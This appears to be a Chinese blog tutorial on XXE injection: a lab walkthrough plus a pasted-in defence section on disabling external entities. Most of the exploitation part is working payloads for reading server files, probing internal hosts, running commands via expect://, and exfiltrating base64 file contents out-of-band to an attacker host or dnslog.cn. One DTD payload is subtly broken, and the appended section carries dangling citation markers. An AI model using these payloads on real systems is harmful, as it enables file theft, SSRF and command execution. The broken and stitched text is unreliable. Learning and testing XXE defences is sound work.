XXE漏洞

一、介绍

XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

二、XML与HMTL的区别

XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。

三、漏洞利用

1)读文件
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "file:///c:/11.txt" >
]>
<foo>&xxe;</foo>

在这里插入图片描述
该文件要真实存在

2)内网探针或攻击内网应用
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://192.168.116.124/index.txt" >
]>
<foo>&xxe;</foo>
3)RCE

该漏洞是在安装expect扩展的php环境里执行系统命令
id 为执行的命令

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
	<!ENTITY  xxe SYSTEM "expect://id" >
]>
<foo>&xxe;</foo>
4)引入外部实体dtd

主要用来绕过或实现自定义的一种攻击
evil.dtd 可以简单理解为xml的一个格式文件
evil.dtd

<!ENTITY send SYSTEM "file:///c:/11.txt">
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
	<!ENTITY  % file SYSTEM "http://192.168.116.124/evil.dtd" >
	%file;
]>
<foo>&send;</foo>

上面的代码就是将evil.dtd里的内容当作xml来执行

5)无回显读文件

test.dtd

<!ENTITY % payload
	"<ENTITY &#x25; send SYSTEM 'http://192.168.116.124/?data=%file;'>"
>

%payload;
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test [
	<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test.txt" >
	<!ENTITY % dtd SYSTEM "http://192.168.116.124/test.dtd">
	%dtd;
	%send;
]>
6)无回显+dnslog.cn

访问dnslog.cn(http://dnslog.cn),生成一个域名

payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://pf7o7e.dnslog.cn" >
]>
<foo>&xxe;</foo>

7)伪协议-读文件(绕过)
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
	<!ENTITY  f SYSTEM "php://filter/read=convert.base64-encode/resource=c:/11.txt" >
]>

<x>&f;</x>
8)xxe-lab靶场登录框xml数据传输测试-检测发现

在这里插入图片描述

随意输入账号/密码,登录,抓包

在这里插入图片描述发送到爬虫模块,然后在历史包中输入xml关键字过滤
在这里插入图片描述
得到有漏洞的数据包
在这里插入图片描述构造payload

在这里插入图片描述
payload:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE Mikasa [
	<!ENTITY test SYSTEM "file:///c:/11.txt">
]>

<user><username>&test;</username><password>Mikasa</password></user>

四、防御

XML解析库在调用时严格禁止对外部实体的解析。

### XXE漏洞原理 XXE(XML External Entity)漏洞是一种由于应用程序在解析XML输入时允许引用外部实体而导致的安全漏洞。XML是一种结构化文档格式,广泛用于数据存储和传输,其中“外部实体”是XML标准中允许的一种特性,用于引用外部资源。然而,当应用程序未正确配置XML解析器以禁用外部实体时,攻击者可以构造恶意XML文档,利用该特性读取服务器上的文件、发起服务器端请求伪造(SSRF)、造成拒绝服务(DoS)等攻击[^1]。 具体而言,XXE漏洞的攻击通常发生在应用程序接受用户输入并将其解析为XML文档的场景中。攻击者通过在XML文档中插入恶意定义的外部实体,使得XML解析器在解析过程中访问攻击者指定的资源。例如,攻击者可以构造一个外部实体,指向服务器上的敏感文件(如`/etc/passwd`),从而实现任意文件读取的目的[^2]。 ### XXE漏洞防护方法 为了有效防止XXE漏洞的发生,可以从以下几个方面入手: 1. **禁用外部实体** 在处理XML输入时,应禁用所有外部实体引用。不同的编程语言提供了相应的配置选项来实现这一点。例如,在Java中使用`DocumentBuilderFactory`时,可以通过设置`FEATURE_SECURE_PROCESSING`和禁用`external-general-entities`来防止外部实体注入;在Python中使用`xml.etree.ElementTree`库时,默认情况下不解析外部实体,但若使用`xml.dom.minidom`或`lxml`等库,则需要手动配置以禁用外部实体[^1]。 2. **输入验证和过滤** 对所有XML输入进行严格的验证和过滤,确保其格式正确且不包含任何潜在危险的内容。例如,可以使用白名单机制,仅允许特定的标签和属性,拒绝其他所有内容。此外,还可以对用户输入进行转义处理,防止恶意实体被注入到XML文档中[^1]。 3. **安全配置服务器** 确保服务器和应用程序的配置符合安全最佳实践。例如,在Web服务器上禁用不必要的XML解析功能,限制XML解析器的权限,避免其访问敏感文件或发起外部请求。此外,还可以通过设置防火墙规则,限制XML解析器对外部资源的访问[^1]。 4. **升级解析器版本** 定期更新和升级使用的XML解析器,以确保其具备最新的安全补丁和功能。许多现代解析器已经默认禁用了外部实体,或者提供了更安全的配置选项,因此保持解析器的最新状态是防止XXE漏洞的重要措施。 5. **使用替代数据格式** 在可能的情况下,避免使用XML作为数据传输格式,转而使用更安全的替代方案,如JSON。JSON不支持外部实体,因此天然免疫于XXE攻击[^4]。 ### 示例代码:禁用外部实体(Python) 以下是一个在Python中使用`lxml`库禁用外部实体的示例代码: ```python from lxml import etree parser = etree.XMLParser(resolve_entities=False, external_entities=False) xml_data = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>" try: tree = etree.fromstring(xml_data, parser) except etree.XMLSyntaxError as e: print("XML解析错误:", e) ``` 在上述代码中,通过设置`resolve_entities=False`和`external_entities=False`,可以有效禁用外部实体,从而防止XXE攻击。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值